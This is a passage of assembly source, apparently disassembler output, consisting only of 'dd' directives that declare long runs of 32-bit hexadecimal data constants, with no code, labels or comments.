		dd 0B600714Eh, 4D825ABh, 5CBC3Ch, 9939886Ch, 29BA48E7h
		dd 7E868E00h, 56D8D6E9h, 0B17D00E5h, 0B8B5950Ah, 25008FDCh
		dd 1C67A4C4h, 5B49D9h, 94131EEFh, 3E45D783h, 6E61CCA8h
		dd 8065EE3Bh, 0D00C1FF2h, 1FC8D57Eh, 1E29290h, 0AE975718h
		dd 7E9D708h, 1CE832FDh,	89DE6217h, 1F705181h, 7880CC47h
		dd 0D92253CFh, 0D8A0C02Eh, 0F2E43806h, 0E827922Ah, 10A89800h
		dd 0BE087615h, 30CD0061h, 0F28C4504h, 0B3093B84h, 21921888h
		dd 2C7B23DCh, 4CA034C4h, 3A00C081h, 0D0523113h,	10C083F6h
		dd 9812057Eh, 8DC2148Bh, 0BB39A8B1h, 0EECDCA86h, 61FB4178h
		dd 3A077FB6h, 0FE1194A3h, 44208A2Bh, 248B71F3h,	94B4B262h
		dd 8FC08CE1h, 457ED173h, 2C76DE07h, 6073F8DCh, 885FA03Dh
		dd 8319009Fh, 0E26D84B4h, 0AB00C81Fh, 311A224Fh, 1E98D1D9h
		dd 0CF8748A9h, 40C08FDFh, 1637F160h, 5EDBBB00h,	842F8141h
		dd 8ACF0FF0h, 8B80E951h, 0E229386h, 20F0AA7Ch, 497E100h
		dd 0BD6429DCh, 0EB7003C0h, 754EC179h, 0E4EC1107h, 7C90ABF2h
		dd 0B0679EDDh, 0BE7F07B4h, 0A054988Fh, 182850EAh, 12C0C700h
		dd 8D0B056Ah, 5F300091h, 8C7C16D4h, 0AF00F4A1h,	67210D2Ch
		dd 9FD3DAh, 818BAF5h, 4562B7E0h, 0F3DB7A24h, 0A9BE1100h
		dd 1F833AEh, 0D7E9799Ah, 0DCE39FFEh, 0D5000673h, 0F1A778B0h
		dd 989E5A5h, 0B3AF6D14h, 90ADAC01h, 0C3E7C01Ah,	33252F00h
		dd 0E47FD011h, 0F7F02CE5h, 905B80E8h, 2B24968Fh, 6E466707h
		dd 1D41BA9Eh, 0EAD4E93Eh, 25560042h, 0D0CD7EC8h, 780FCACEh
		dd 605E88D4h, 8C2B440Fh, 0BF0900DAh, 0F94AEE6Ah, 6B1E570Ch
		dd 7A2DEDh, 0D7E8583Ch,	0E2EEAA55h, 0DCCD1FB7h,	5F66C069h
		dd 0B88046F5h, 25E1905h, 0A3C0DD45h, 94649Fh, 331AB58Bh
		dd 61014BDEh, 0B1227609h, 80884847h, 32E48FCh, 53F2400h
		dd 0DA185B13h, 2F07100h, 0D98A4FB4h, 0D3E1BDA7h, 66D43480h
		dd 797AEE00h, 6D17CA47h, 0B62F001Bh, 0E56E484Dh, 0FF4BA0FAh
		dd 0C3C01002h, 3C287ADDh, 990FE64Dh, 78A31403h,	180A6841h
		dd 0C3487CADh, 1C116A19h, 5560E0h, 0C6182286h, 5DDFE513h
		dd 50F68000h, 0D94D15A3h, 90BE2D5Eh, 3A64F82Fh,	37F0B017h
		dd 0B969E1C7h, 13B651C0h, 0CAF0118h, 34DB8548h,	5C3AC8A7h
		dd 1AC47300h, 552460B9h, 9B3D14B6h, 438590E6h, 520F5E2h
		dd 7A4C805Ch, 0F3901194h, 407ECD00h, 0BF9B56ECh, 216100D6h
		dd 11A9C114h, 0DA00B805h, 281602EDh, 103B65h, 0C9B2A4B4h
		dd 0C52DDE81h, 802030FFh, 38F39D00h, 4445F726h,	0D1C83D03h
		dd 0B858EA80h, 0CAEDAEB1h, 80525F3Fh, 94935612h, 825C88h
		dd 1B73C7A0h, 0D225DECh, 1FF4873Ch, 4200AB83h, 93691329h
		dd 3317001Bh, 0A4C1CAB3h, 0B93E823Bh, 2B748946h, 2930011Eh
		dd 5D073FAh, 5CF460h, 0B215F0B9h, 0AF262490h, 6CED7100h
		dd 0A9A36E30h, 4E2BE1FBh, 0CE97931Ch, 0CA14C8A0h, 0D2A5008Bh
		dd 310EB1A6h, 7754BCA8h, 0DC18B1Dh, 0DB9076C0h,	0B67EBFh
		dd 181F3ECh, 0D9A21C5Ah, 0F2996639h, 9051D231h,	4084C144h
		dd 0B36E9C56h, 0C5C602FCh, 3318B68Ch, 0BE7240ECh, 2D23C5h
		dd 660B22F2h, 0B3AD77F0h, 2C0F214Fh, 0E8B9D984h, 25C3C8h
		dd 63B254C6h, 7A934120h, 5E5FD800h, 0F1A9FAFh, 8BE49C6Fh
		dd 20690E10h, 0FA2E20C8h, 77DCD900h, 1B95AC74h,	0C1F64A11h
		dd 0DCCB63C4h, 495F3A4h, 0A0E256D8h, 21C0D8E7h,	1D9F55F0h
		dd 0CED4403Bh, 0AFE3FF13h, 9809C311h, 259DAC03h, 0DC01A0D0h
		dd 4CF7E3Dh, 0E6ADE440h, 0DB9900CDh, 16290A2Eh,	4F03406Fh
		dd 0BFC1E2F1h, 0E047CB8Ah, 5E86C8Dh, 0C881752Ah, 0E338C005h
		dd 23C3957h, 158601A2h,	0B268BF61h, 1419A70h, 508DA984h
		dd 0F034E56Bh, 0A538A195h, 2653803Ch, 0D5EAB044h, 1F50088h
		dd 33DE5A75h, 1A48E39Dh, 8158009Ch, 1C44FA68h, 5B3418E2h
		dd 75C1497Ch, 0DA1FCE00h, 28446E62h, 6FBA00B3h,	6DB53802h
		dd 0DB00FBC7h, 9D55E2A1h, 7DF8785h, 6525A247h, 4AAE057h
		dd 796FF33Fh, 77952751h, 8E899080h, 0A0D3727Ch,	0ECF4F9h
		dd 0C4606A27h, 651740B5h, 8955600h, 0FE53EDFh, 7185393Ch
		dd 0FB8A600Fh, 10A7A166h, 7C52660Eh, 38892E5Ch,	6745B580h
		dd 0D08E7174h, 0E29E6910h, 0F185D406h, 384AFDh,	567993B3h
		dd 0C73FD509h, 0B9837600h, 47B41A4Eh, 38E91E03h, 5B404FB6h
		dd 0E3C84DE1h, 3904D43Ah, 144EB100h, 0C6D58143h, 3CA80738h
		dd 20FD70DAh, 48DCCFB7h, 877BF31h, 20804333h, 0F0FCE805h
		dd 0F1024E2Ch, 9F27EBD1h, 4F3C4085h, 703760DBh,	0F0F3416Eh
		dd 0E9A8A23Fh, 40E88C68h, 76771244h, 0C13F849h,	20A7C8A2h
		dd 0B781C03Ah, 0C54F232Eh, 9F293E06h, 44203D8Bh, 0B6003A92h
		dd 3FF7E491h, 45C3EAh, 1D300D16h, 50BF297Bh, 826C4350h
		dd 0FCE5028Ch, 0D3E7B769h, 7C102419h, 9F0FFD1Dh, 4084207Bh
		dd 0CF3BCB4Ah, 50376CE0h, 25036B98h, 3D9A3EC2h,	0B667C38Dh
		dd 0FCF6A8h, 9189479Eh,	1B296BD3h, 0B59A4503h, 0ABC3EF90h
		dd 654CC841h, 0BC1000ABh, 26600128h, 310047F0h,	0ED6145B3h
		dd 1F23A213h, 87E83932h, 0D04B088Ch, 5170A918h,	6EFFB00h
		dd 20FE2DA3h, 0D0B80052h, 0EABFC5C0h, 0ED03F702h, 0C9AC2C51h
		dd 914080AEh, 0A7060EB8h, 4F00DC87h, 0FD834715h, 691C7800h
		dd 0B1563D36h, 0BEDD009Bh, 0D80AFB62h, 0B8000EF9h, 4EFAC9A8h
		dd 7D3C50h, 0DF16E578h
		dd 91709A98h, 5EB9AC00h, 0E01CDE97h, 3F0803A5h,	665FFB47h
		dd 7A2BF0D7h, 0D03D7FAh, 0BF4E9068h, 1E42C8FFh,	0EFFE00A7h
		dd 0A1011FE7h, 0E00089C6h, 0B1BD414Ah, 0EC8AA2h, 0F2D39D3Dh
		dd 0B5B34D67h, 324C5600h, 3646E29Bh, 0DA4B0016h, 3B91F0EEh
		dd 0E83A0F0Ah, 0B2129E94h, 0BBF4B940h, 165DFBh,	190CB1D8h
		dd 793FAAFEh, 4F0058B8h, 0F3EF55EBh, 531D47h, 27966F0Eh
		dd 0BA02B986h, 980FDE73h, 0C2B4Ah, 0E64733BEh, 7AC10983h
		dd 0A100C56Dh, 17A03130h, 199D3901h, 0FB08623Dh, 4278F8h
		dd 8CDE7D54h, 0B8B704C0h, 0FA307560h, 0E35E67h,	95413F6Eh
		dd 0CCE6C264h, 40850E00h, 0E82FAFABh, 54801B4h,	0F4B68865h
		dd 7270C4C1h, 0B9003D98h, 333B2C36h, 1698EC9h, 3C018C40h
		dd 206382EEh, 5A00BE60h, 72D6B915h, 6DB713h, 6F277C0Ch
		dd 0A4201F12h, 0EF12A0Fh, 0BC005C5Ch, 8AF2C850h, 5FB8A826h
		dd 519B4CE3h, 0FB242C00h, 54986871h, 8AE6FA00h,	0D34B5935h
		dd 6F734Eh, 1D4C91DBh, 506A9DD0h, 99F8E500h, 5C46A33Ah
		dd 4FF4001Fh, 12700B13h, 0F63DF372h, 0A823A8D8h, 0B36ED202h
		dd 0E0DB3B3Fh, 4F6FC2h,	2498B439h, 3A05F330h, 894E6B26h
		dd 0BF493400h, 707CEA8h, 6713B515h, 0EE7550BEh,	93019CFAh
		dd 55D1D634h, 0F4E812CBh, 4E450EC5h, 0C4E02BA7h, 0D1D7E702h
		dd 32B1BB00h, 1D797557h, 85A501ADh, 0EE62DEE6h,	0A220E0BCh
		dd 4A169BF0h, 0CB189328h, 0EB3F1230h, 0EF5020h,	0F5E76727h
		dd 0CD136D7h, 9FC5161Dh, 7228F700h, 552BDBh, 0D237EADDh
		dd 0CEAD2D2Ch, 0F5306971h, 0A1D11844h, 5E7F0042h, 0F8244F0Ch
		dd 9200F280h, 480B1634h, 0A48B19h, 0B28C7EEDh, 4EECDB54h
		dd 210F8671h, 616DABA5h, 0F503820Dh, 8A84CCh, 0EE30F755h
		dd 458E663Dh, 9487FA00h, 0CF933C49h, 0EC7B00F3h, 5DBE960h
		dd 31C5D82h, 0BC47EDA5h, 22309A1Bh, 287F1A12h, 0BCECD5h
		dd 0F4F1B48Fh, 0CE35A5F6h, 97286A00h, 0B0C243B2h, 3E24009Ah
		dd 9F2C5BA9h, 4500B908h, 0E1F3E8EBh, 7B844D4h, 0E77D490Eh
		dd 58F7A079h, 3FFE100Fh, 0C9AEC00h, 0D3121F5Ah,	497E0797h
		dd 80E22BFCh, 7D80F22Fh, 0D8BD7003h, 0B8C26242h, 0E894AFh
		dd 278F9222h, 5305EFB1h, 2900D57Eh, 33F37B69h, 38C4E0F1h
		dd 9180F8B7h, 7FE86166h, 0B93FC39Dh, 0F0398023h, 0CDD9FFDAh
		dd 3B7616AFh, 37F900C0h, 1F53AAE8h, 0EBEFC102h,	60E3A369h
		dd 733521B4h, 28603EA8h, 0C1C78084h, 2384C00Bh,	66300725h
		dd 72FC0A5Eh, 3F7E00EBh, 13F076E1h, 3572A4B4h, 0AECC1900h
		dd 0B1B033D6h, 0ACED4820h, 2EBD9901h, 344FF28Ch, 8700CA60h
		dd 0E06D5383h, 0CFE3CDh, 0DF9CEE66h, 6973815Eh,	0EBDBDA06h
		dd 1140A4h, 0F886EACFh,	4CDE8D9Ah, 1859FE00h, 92EB5736h
		dd 0CF90069h, 1B97A723h, 0F200C081h, 0DDB4EFF7h, 2602A4CCh
		dd 2469FE0Bh, 4D090400h, 49B4CC4Bh, 82650618h, 340F868h
		dd 6EEB8915h, 2DB8936Fh, 0D50980FFh, 802766ABh,	738C10D3h
		dd 2B080001h, 1F918B1Bh, 4E00B60Ah, 0B1C2217Ah,	20FC5DFh
		dd 1E0460Dh, 0DEC09470h, 0A900FACEh, 405A3143h,	1B49361h
		dd 209CAD6Ch, 0D8FCC80Ch, 18157CC1h, 7BCE526h, 24B1037Ah
		dd 1F82DA80h, 0A5CA0005h, 2AA9DDBFh, 39287075h,	0E00F8A4h
		dd 85E56D27h, 3ADDC754h, 0CB3A4C7Ch, 3B9A0206h,	0F1005007h
		dd 7E1FBA79h, 3A4F45F7h, 300D778h, 2168BB32h, 0D8B0F882h
		dd 96182550h, 604E7A30h, 1405C72Dh, 50BFA474h, 0BC81D73Fh
		dd 45FF781Fh, 0DCE3F498h, 0AA05AF01h, 3A70742Ah, 0D4503508h
		dd 30C37E1Ch, 0A0CAF64Fh, 0A04777FCh, 0EA0D14h,	5DBB732Eh
		dd 180929C5h, 0DBA06A03h, 0F8510B83h, 0E09EEF26h, 0EBA2D77h
		dd 1E3B89F8h, 0FE1F0015h, 0F53AA454h, 0D9BD1EEBh, 0D712401Bh
		dd 20D6977Fh, 0D44BF100h, 3761EDD2h, 0C1570E0Fh, 3E6046BDh
		dd 424729F7h, 0C0E79C00h, 60DA433Ah, 7377CEFh, 7B2834FCh
		dd 3151F138h, 24A9E0E9h, 0A8BD3Eh, 1BF8928Dh, 1424C97h
		dd 7B0EC83Bh, 60CB36CCh, 0DAF0D918h, 0B8E0CA60h, 0AB8F0603h
		dd 410E1B0h, 941E1980h,	77A5F79Ah, 81118700h, 4AB936CDh
		dd 0D6E48Ah, 97F47A71h,	6603690Ah, 0BB036892h, 94A0AB0Bh
		dd 8AA3F952h, 0C8CAD0h,	2AAE1872h, 87065196h, 6B7188EDh
		dd 0C90CBC9Fh, 5F19B01Ch, 15F246FAh, 0A52F6902h, 4275347Ah
		dd 750006Eh, 0BF88Ch, 815DAD85h, 631D839Fh, 3E04D201h
		dd 8E12303Fh, 3FE2DCC4h, 0A98D3851h, 0C0A95F03h, 3F00C311h
		dd 0E2651727h, 983AB63h, 578D982Eh, 20123005h, 7562DF90h
		dd 90370103h, 9881FA36h, 5060A86Bh, 0DA281Ch, 7BFC8C53h
		dd 7537B1E2h, 0F69F358h, 6C064428h, 0C98D9A2h, 6803D60Ah
		dd 2500E739h, 7BB5DE11h, 5CEED0h, 7DC54DD8h, 57033785h
		dd 9FD129C0h, 0D09702h,	3E740FC0h, 0B725F010h, 0A91FE573h
		dd 9480F331h, 4BC7FC96h, 0DF521DBFh, 97F60074h,	4F8C2F57h
		dd 7D130490h, 0CC40FC59h, 4BD627F4h, 9EF70597h,	84A0A728h
		dd 6CC8406Bh, 0E7D2807Bh, 4A7E5E00h, 499ABB8Eh,	0DF0E1554h
		dd 0AA019021h, 837B625Bh, 0C403F0C5h, 61E45830h, 0EAA094Ah
		dd 0D0494048h, 9900358Bh, 0BF9F5F8Fh, 0E0E05472h, 9C4840EFh
		dd 3E0026A1h, 0B108559h, 0C00D0AC6h, 566CDB69h,	1800CAD0h
		dd 0CD8CD547h, 6FEBA7Bh, 0AB6B8BA0h, 0F8C3B9E4h, 0E81D9C07h
		dd 0E8EF7E01h, 215F326Ch, 82230BB8h, 80310E0Ah,	93E27BA4h
		dd 426009BDh, 1EF46055h, 87C2CD3Bh, 8D0EF404h, 2D4400A9h
		dd 0ABAD1C7Eh, 9EC5E0E8h, 398A00A0h, 0C374A11Fh, 10906C82h
		dd 681C6F11h, 97130F00h, 0E84DC138h, 9231B200h,	6345FB4Bh
		dd 77A000EBh, 984C66B1h, 0FA547E18h, 3000D88h, 0DCA5D7EAh
		dd 8CDEEBh, 73690F9Fh, 55180776h, 88369500h, 905F1B75h
		dd 7B992848h, 1F1D006Ch, 51CB2A8Dh, 0D3FCA6C2h,	44CEA700h
		dd 0A4863620h, 0AAA58DEh, 0B14C3900h, 0CED38CD7h, 0AC955801h
		dd 618E0676h, 986BC18Fh, 0E1585918h, 0C9FFA1C0h, 4A0BEAh
		dd 298693E4h, 8A97A967h, 6153F09h, 212C9380h, 61038DD8h
		dd 7F98316h, 0CAA75E51h, 7FED70E1h, 0D6F58DAh, 5A24039h
		dd 0E9D05Bh, 44130851h,	8B526CC9h, 94634975h, 18C58h, 0A5CE8631h
		dd 9568F44Ch, 6580D50h,	0DA7421C5h, 64C9A380h, 88D0486Ch
		dd 5D05E000h, 73A90117h, 0F4A8A164h, 0C82B720h,	0E09A4D88h
		dd 69140097h, 87F555E9h, 45007EE5h, 4BAAAF62h, 292CF2h
		dd 0DA7B0D13h, 33EC2E77h, 0DCE25D00h, 1F74DEE4h, 4D8126CFh
		dd 3582B7Ch, 732C6A4Bh,	2B707AB0h, 84A31A01h, 7818BABEh
		dd 55038848h, 2BD8A8AAh, 87BB0005h, 7A6708FBh, 1D1248ABh
		dd 70400C0Ah, 0F98ED141h, 0C8A900E9h, 0A6E6EA52h, 3A4C8C8Fh
		dd 3C142270h, 6B948201h, 6784489Eh, 2EF48130h, 0C6A51015h
		dd 200D309Bh, 36AEBA11h, 9F59762Eh, 413A7828h, 0FAA71494h
		dd 40620224h, 824D8206h, 90FB70D4h, 0ABDACh, 8C8E9BCFh
		dd 0CE13743Bh, 534B0807h, 0D80C8FAh, 176C6B0h, 0A36BAAEDh
		dd 0CCF98172h, 517E208h, 0E2051E55h, 780A350Dh,	9900607Bh
		dd 0E5742721h, 53BE12E6h, 23812D1h, 0A8B4DE0h, 2B5C34C0h
		dd 79E4780h, 0F7984818h, 0F47C43B3h, 3AECCCBCh,	93898400h
		dd 469FBF8Eh, 68EB012Ch, 7A187362h, 0A0D180FAh,	971D2DCh
		dd 27B3097h
		dd 1729B389h, 35DF3E09h, 0C20802BEh, 0F184C3EEh, 5022829Bh
		dd 0C96AC300h, 9059DCDFh, 3F63A73Bh, 550607F6h,	1FD0A4B7h
		dd 0C6019F68h, 79E25831h, 9BE9A500h, 811E357Fh,	117004F6h
		dd 9008588Bh, 86C28C18h, 0EF657A04h, 5080B75Ch,	4CBE8EA1h
		dd 6C87AC11h, 0A9E38145h, 9E35C4EAh, 43006890h,	8FC9A14Eh
		dd 0F8849A32h, 0E6360972h, 1807515Bh, 1091F76Fh, 2C3DD8Ch
		dd 656A505h, 9C46637Ah,	0F61050Dh, 0CA47CCDEh, 0F0D9E607h
		dd 0F3940CAEh, 7B9EFC02h, 66C9150Eh, 58FAA8h, 54E8C539h
		dd 328E4830h, 9310F603h, 0BBE4DDABh, 6446F07Bh,	4830902Bh
		dd 3B00601Bh, 7A787935h, 69184932h, 0B851EB0Eh,	734E008Ch
		dd 0DB62AA8Eh, 7090222Bh, 6F891D1Dh, 0BE461A00h, 1E9A69F6h
		dd 43A6D76Ah, 0B2EFB1CAh, 75DBFBE8h, 0EC76063Ch, 534851h
		dd 8DDDEF97h, 0D1668C47h, 0B9287B1Dh, 0B2023C2Ch, 0C0F0361Fh
		dd 4023E8Ch, 959B03F6h,	5A0C882h, 67394100h, 0E81B6C72h
		dd 9944005Fh, 0C431497Eh, 58998C19h, 64E90D0Ah,	41077B0Ch
		dd 0AD9B00F3h, 1636CE5Fh, 8900CDE2h, 1BEADE17h,	18D2F703h
		dd 391F11ABh, 73005052h, 0A04E229h, 953408Dh, 3618A5C2h
		dd 649A301h, 7B704085h,	0D709B6ACh, 18D351EBh, 16384h
		dd 56BDE0E9h, 94CD52AEh, 93058200h, 3D9761AAh, 1C4E258Dh
		dd 0BCE60420h, 3F0EE0AFh, 0E3A7C85Bh, 0AC082596h, 8E2FB4C0h
		dd 0C0587076h, 0ECDFBFE9h, 7A3BF96Fh, 0AB3E8152h, 3F340532h
		dd 0F214A0EAh, 29BDE50Bh, 38C0AC2h, 3BA28D05h, 64437898h
		dd 2694FC38h, 3188108Eh, 3BF0B014h, 2C1CCD38h, 1F9AA5Dh
		dd 66DC8FC8h, 0B9E86A7Fh, 24699014h, 4048036Eh,	62BE0534h
		dd 12E6B41Eh, 0C0FCBA44h, 2221A0C2h, 18C48718h,	7739BD00h
		dd 981274D9h, 47548F0h,	5AAB5302h, 0A8982934h, 0A9085F2h
		dd 4D66431Fh, 0FD41389Fh, 50F36F73h, 9831EAE1h,	83B17C00h
		dd 0FE6B0986h, 0B0B09E68h, 7538DD1Eh, 0D12E1F7Ah, 8178DA14h
		dd 0FF8C6B93h, 8806318Dh, 9395E151h, 0DC002B20h, 72706169h
		dd 9D408A0Bh, 0CE7C1A10h, 562A3Ch, 5212268Dh, 42E8134h
		dd 3908309Dh, 0D85087E8h, 0FA21DD80h, 9462F2h, 4EAA8FDAh
		dd 3606D51Dh, 764B3A00h, 74CE6533h, 1768B8C9h, 2016FCE1h
		dd 0B9905830h, 0E0FB2E0Fh, 65E540CBh, 0E6266BDCh, 0F5290460h
		dd 8027BBAEh, 0B99A3A38h, 1894520Ah, 7640C40Ah,	3090CDEh
		dd 8FAEF607h, 7EC0EDA9h, 0B106D0A6h, 9D27FCC6h,	743800F0h
		dd 0D1E4DB7h, 782C193Ah, 73414CF9h, 0A220579Ah,	0E0285CF3h
		dd 5FAE79C0h, 0AF002237h, 0ED4BE125h, 9C2EB1h, 0B27BE46Fh
		dd 965D21C3h, 0A5713000h, 24AEE132h, 17B0B8ACh,	1E52D93h
		dd 0CEAD1500h, 802D1Ch,	0F60B2062h, 0A8F5720Ah,	0C407C0h
		dd 0B3A97056h, 5DDFA657h, 0ABEB2B1Eh, 44006C24h, 77ED0B7Ah
		dd 0B8911F22h, 0A9F9F21h, 5BC134Ah, 40752B6Bh, 70D6B928h
		dd 0D90E1DA7h, 40A4EC34h, 0C95B8A59h, 9F39050Ah, 0D526EB0Ch
		dd 90A78504h, 5A790604h, 2611E899h, 24D78E02h, 50C11B7Dh
		dd 8C5A7017h, 77FC521Eh, 4A8801BFh, 0FAAB68DDh,	0BE5D2440h
		dd 0A8C85344h, 9A33200h, 84E7CE47h, 0BA972E01h,	0EA73EF1Eh
		dd 76AA0C74h, 9A20015Eh, 3F4D846Eh, 0A9188009h,	1DDCE742h
		dd 38720482h, 0E403E480h, 7702D71Ch, 0D6DBC3E0h, 0CBCCC0EFh
		dd 680A0082h, 359B46A8h, 0D902FB7Ah, 0DB9503FCh, 0C1486392h
		dd 0DC628290h, 37DC8400h, 659A2AB5h, 0FDF6EA05h, 918053E5h
		dd 15E1DF8Bh, 881B0ABEh, 0AF1CD900h, 60450229h,	97ECB600h
		dd 0AAB015C4h, 9A2C01D7h, 9E2B7E41h, 1811E8F5h,	32039C5h
		dd 6A4F1DC0h, 8C10ED3h,	9122AA74h, 0E481FC76h, 0CD5F3753h
		dd 0BDC470C9h, 0D4227B89h, 385D4003h, 2FE8C434h, 5A0373BBh
		dd 0F60B9D3h, 62D18855h, 400A6298h, 72251A31h, 71ADD482h
		dd 0CB2824C0h, 4CAE6C01h, 0E959C040h, 1D008C92h, 5D63B120h
		dd 938B3Fh, 83C6C7CDh, 1488969Bh, 0AB7B4207h, 3914D34h
		dd 34340559h, 0DF120727h, 1E4878E2h, 7506B1A0h,	400794D0h
		dd 8E99AB77h, 39D11037h, 9C203B87h, 0E8C23F81h,	856A0B82h
		dd 685A8352h, 93533300h, 57888035h, 0BFAA00E2h,	8606F67Ah
		dd 0C4FE96DDh, 60727838h, 692C1B31h, 9D8A0021h,	4A6D3F7h
		dd 403FE4E9h, 62EE802Eh, 6B306813h, 127B904Ah, 771E82h
		dd 42F93496h, 22ECBA8h,	0A7110015h, 3E306B00h, 83C7DA9Bh
		dd 8C921E00h, 766CA0F3h, 6F1000B4h, 0C6D8D288h,	849C8219h
		dd 41B3168Ch, 4C7B030Ch, 0DF4B0FB4h, 0D6C008D8h, 18B24A09h
		dd 904478h, 24700640h, 0A5D114EDh, 2FD56B04h, 0A090621Ch
		dd 0E4FB5ECEh, 819E0110h, 74B32C3Eh, 41C0D88Ah,	0FA4BAA02h
		dd 52DC0ED0h, 3E0378E0h, 444C7062h, 0B68C670Ch,	9C757658h
		dd 6F099090h, 488299BDh, 0E40122A4h, 90F6B03Eh,	6248093Ch
		dd 5C48830Ah, 0ED0BD35Eh, 7E5A4Ch, 8F1DF3D2h, 64FC967Fh
		dd 0F0882A0h, 3C021D20h, 40100030h, 4A1986C0h, 8B01FCEh
		dd 8CD2D026h, 98F68563h, 28FA634Fh, 9CCC2B82h, 0C00495Ch
		dd 0A9575CF6h, 60E69718h, 4EC4AA0h, 0DF57539h, 2058C9EBh
		dd 5B0C3EC0h, 2873827Ah, 25623B4Fh, 0DDE0F978h,	20694ACEh
		dd 0E07C4658h, 0F85E5C00h, 560B1E66h, 0D1F900DFh, 0B8972909h
		dd 913A508Ch, 404B18h, 60B717Ch, 81F49E8Dh, 0B2DFB001h
		dd 0C482EEC8h, 0AA202122h, 98668240h, 187403E7h, 634BF5EEh
		dd 0A09A801h, 0D72FDBBh, 8E701847h, 0CD45E2h, 0AA925011h
		dd 56BFCB62h, 409BBE01h, 98958F30h, 24C6020h, 84AE707Bh
		dd 4590AFAh, 0A1F81200h, 17931DAh, 43B0F25Eh, 300469FCh
		dd 588907D4h, 0EEE8B049h, 0D3600374h, 0DC5ED5Fh, 91000A8Bh
		dd 265DCE56h, 78B046A2h, 7FD20031h, 0D7321ACFh,	24986664h
		dd 30181D3Bh, 68A951E3h, 2841DEA0h, 0FC99F4h, 1FF7DE88h
		dd 0E7007BECh, 548746D3h, 206DCAh, 0E21543BDh, 0A668F770h
		dd 0FD41F060h, 4805686h, 0E9DCBE29h, 0EC88B45Fh, 5C00EE7Bh
		dd 963817B0h, 1237DDFFh, 3D72B71h, 1E801CA8h, 816936AFh
		dd 80141048h, 2E1F0A53h, 58304CBh, 80823698h, 766EAA7Ch
		dd 0D8451730h, 90D7FD48h, 60A80A24h, 17BC9502h,	4F2C0535h
		dd 37C40094h, 6A8C5240h, 17670DF0h, 51D11261h, 0ABC0D458h
		dd 11130E81h, 21C0FB68h, 0E1E43E1Fh, 4DF4724h, 0C24A0401h
		dd 0D980EA58h, 7D219C85h, 0A800457Bh, 5EB152CAh, 169554Ah
		dd 0EFAF8DFEh, 809BD16Fh, 95945788h, 9903418Ch,	3ADA0B18h
		dd 8A167400h, 0B500ABF4h, 61BC7B7Ch, 2EB4E9DFh,	1ED8A3DBh
		dd 0CCA1E79Ah, 0F8256360h, 69007C4Fh, 964E81F1h, 9653772h
		dd 0E1985CFh, 6044B419h, 25848F4h, 0D725C000h, 58EE7C11h
		dd 9002C60h, 0B3568C9Dh, 0D7A08FA1h, 6B48F97Eh,	0FFA71110h
		dd 51467001h, 35D44D1Dh, 72A3E0CCh, 0CCB2C800h,	8FA50E1Eh
		dd 0EC4318ABh, 4BBE7993h, 920C858h, 616DC2C4h, 18F57ED4h
		dd 7C0BF073h, 0A01182B7h, 3A89402Eh, 45F5B25h, 0E643B0h
		dd 80575FEBh, 0A912540Eh, 80908248h, 327483E3h,	9B500EEh
		dd 0AA3B0D0h, 5D339AC7h, 803DE08Fh, 78B6A5D4h, 4B7A4B9Ch
		dd 0E800B0E4h, 2322F59h, 68037000h, 382C5A2Eh, 1F6E07DFh
		dd 0C56B8C93h, 2AD84065h, 0F3E4AB9Fh, 0A7D6B100h, 3AE12CD2h
		dd 3E181855h, 1246302Fh
		dd 0BC384A3h, 0C9BC43C7h, 906A6800h, 6BE0DC9Fh,	44D4CDAh
		dd 0BABCBEC0h, 6D0FBDF7h, 3FE22A4h, 0C477EA1h, 541CAE88h
		dd 9D0B0381h, 80785261h, 1049E582h, 3087142h, 2BACD43Eh
		dd 2809B0E6h, 9074067Dh, 78DBDA7Ch, 0D26D03D0h,	2245EE8Dh
		dd 408BABC1h, 0E3387390h, 5A4AFD1Eh, 9CD06512h,	921E0A17h
		dd 58320024h, 50F7A1B2h, 0E00451E7h, 52F6665h, 8243C083h
		dd 0FA28C458h, 0EB283CD7h, 0C056479Dh, 124B9941h, 1068DC0Dh
		dd 6560F851h, 72477F9h,	2817A036h, 0A1EB8059h, 9C045661h
		dd 9566CDD1h, 0B8D2C4D1h, 2ACE9471h, 3F600128h,	407E18A1h
		dd 0E535735Ch, 0AFF75802h, 90790625h, 48DADF84h, 0CD0348C9h
		dd 19622A6h, 40290BB1h,	50723C84h, 0B74074B6h, 0A32193h
		dd 0A8C6C816h, 0CF11DC7Dh, 6463B648h, 6A30B188h, 0F0BCA2EAh
		dd 0BB77800h, 5ADA32A0h, 41F009FFh, 8AD6048Eh, 6C151C18h
		dd 13BDAB54h, 0AC008597h, 9522824Eh, 0D9703218h, 90D21629h
		dd 0C3C87600h, 5D4BB092h, 992A0AFCh, 100333h, 36769FF0h
		dd 700627Eh, 69D8134Ah,	7038A11h, 0C0287BCEh, 0A94C1D2h
		dd 0B8C0F2CFh, 0C8C236D1h, 0E30D6F66h, 0C42D9AA0h, 408C9E30h
		dd 0FE1D7CB3h, 155A15Ch, 27108B65h, 2180588Fh, 483A33F1h
		dd 20985FC7h, 0F8CAFE03h, 0B05AB279h, 5367099h,	0BB31FD71h
		dd 92EC07A9h, 0ED36016h, 71DF2738h, 4F3E3300h, 68579Ah
		dd 9BB9961Ah, 3A537B35h, 3C5BD524h, 0CEFA8E38h,	30AA27BEh
		dd 3433FD0h, 0B626047Bh, 0C252ACC6h, 0AE20E334h, 78F8239h
		dd 0D7D8030Fh, 3D71E0A5h, 2200724Bh, 53D956C0h,	75C15DCFh
		dd 0A1DB2F6Bh, 4231BC90h, 44E3E005h, 0A3058929h, 50C80AC2h
		dd 61FB1C4Ch, 15EBC195h, 0F081DBD5h, 0BF00E8D3h, 70F2BA5Bh
		dd 74C1AAE4h, 0BC593B36h, 0B53CEB3Ah, 4E2C9901h, 0C43FEF3Ah
		dd 1B00AB96h, 0B4AC3715h, 0D0C5F0h, 0BC844883h,	9A69A368h
		dd 0D0E4907h, 80C5DE32h, 4AD5283h, 128ED559h, 58C7005Ah
		dd 75B316Ah, 0EE8CBFDAh, 60B490DEh, 140CBDC6h, 39C20679h
		dd 0CF560050h, 248EE01Dh, 1502CA46h, 0FBEDB70Eh, 47CF800Fh
		dd 0CEB585h, 62E9AA17h,	0AE8AB410h, 602F495Ch, 3428E470h
		dd 3E50DE2Dh, 5D51BB06h, 4F071146h, 761A6078h, 0E2193540h
		dd 2CF32C89h, 0A7626D9h, 8788E68Eh, 7055FAB7h, 0C2056772h
		dd 953C1907h, 0A7505296h, 7B3BFCD1h, 13BD078Dh,	0D224A22Eh
		dd 0A8988FD5h, 67C91A4h, 0B6BD3E0Ch, 36119EEh, 9B49EC4h
		dd 6601667Fh, 0A3F3478h, 92D42D29h, 30563765h, 6D3D10B1h
